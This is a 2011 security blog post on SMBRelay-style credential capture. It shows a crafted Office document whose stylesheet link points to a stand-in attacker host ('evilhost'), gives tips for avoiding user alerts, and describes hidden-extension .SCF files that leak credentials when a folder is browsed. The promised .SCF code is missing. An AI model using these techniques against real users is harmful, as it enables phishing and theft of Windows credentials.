SMBRelay Attacks on Corporate Users Part 2

Wednesday, April 27, 2011

Alexander Polyakov


SMBRelay Attacks on Corporate Users Part1 HERE

Let's continue our talk about variants of client-side attacks.

MS Office's Documents

As it was written in our last blog post, we can create a crafted Office document and send it to targeted users (via e-mail for example). When a user opens it, an office program tries to connect to our server and gives us the user's credentials.

Such an attack is possible because:

1) Almost all MS Office programs have the capability to read an "html"-file or "mht"-file*.

2) MS Office's documents can be saved as "html"-file or "mht"-file* without loss of document's formatting.

3) MS Office programs detect how to parse and process a document by it's content, not by file extension.

*"mht"-file - MHTML, short for MIME HTML, is a web page archive format.

Thereby, we should do the next sequence for creating a crafted MS Office's document.
We save any office document as "html"-file or "mht"-file, but the second is better because there will be only one file created which contains all parts of the documents.

Then we change (or create) "HREF" attribute of "LINK rel=stylesheet" element from default value to a link to our server. Then we rename the file to a normal office document extension (doc for example). A crafted document is ready. The method is very simple as we can see.

Example of code:

<  l i n k  r e l = s t y l e s h e e t  h r e f = ” \ \ e v i l h o s t \ t e s t ” >

I want to mark out next interesting features.

Office programs understand "HREF" attribute both with a UNC path (\\evilhost\test) and with a HTTP path (http://evilhost/test). So we can catch user's credentials via HTTP with NTLM.

MS Office programs show an alert to our victim if it couldn't download content from a remote resource. This isn't good. So we should put a document which we created for a victim on our shared resource. And when MS Office program opens the crafted document, it takes a style sheet from our shared resource and doesn't show an alert to the victim.

Windows Explorer and shared resources

In addition to the last blog post, we have found some specified files, which can give us necessary UNC-request from a user without alerting them.

- Autorun.inf

All of us know about "autorun.inf" and problems which it gives to common users via many kinds of viruses. There are some interesting things: autorun.inf can cause UNC-request by Explorer and it works with a Mapped Network Drives. But a recent patch for Windows OS disables the Autorun functionality.

- .SCF file - Explorer Shell Command File.

This is a special file type which contains commands for Windows Explorer. The example of such a file is the "ToggleDesktop" button. But information about all commands and all capabilities of the file type is not available. This file extension "is one of the special ones that remains hidden even if you instruct Windows to show file extensions".

For our purpose we can create or use any file, add next code to it and add ".SCF" to the file extension. An original file extension will be shown to a user, but Explorer will see .scf and perform all the commands in that are in this file. Explorer gives the user's credential when the user looks at folder with such .scf file.


Thanks for your attention.

by Alexey Tyurin from DSecRG

Possibly Related Articles:
Enterprise Security
Enterprise Security Attack Hacking Penetration Testing Advanced Persistent Threats SMBRelay
Post Rating I Like this!
The views expressed in this post are the opinions of the Infosec Island member that posted this content. Infosec Island is not responsible for the content or messaging of this post.

Unauthorized reproduction of this article (in part or in whole) is prohibited without the express written permission of Infosec Island and the Infosec Island member that posted this content--this includes using our RSS feed for any purpose other than personal use.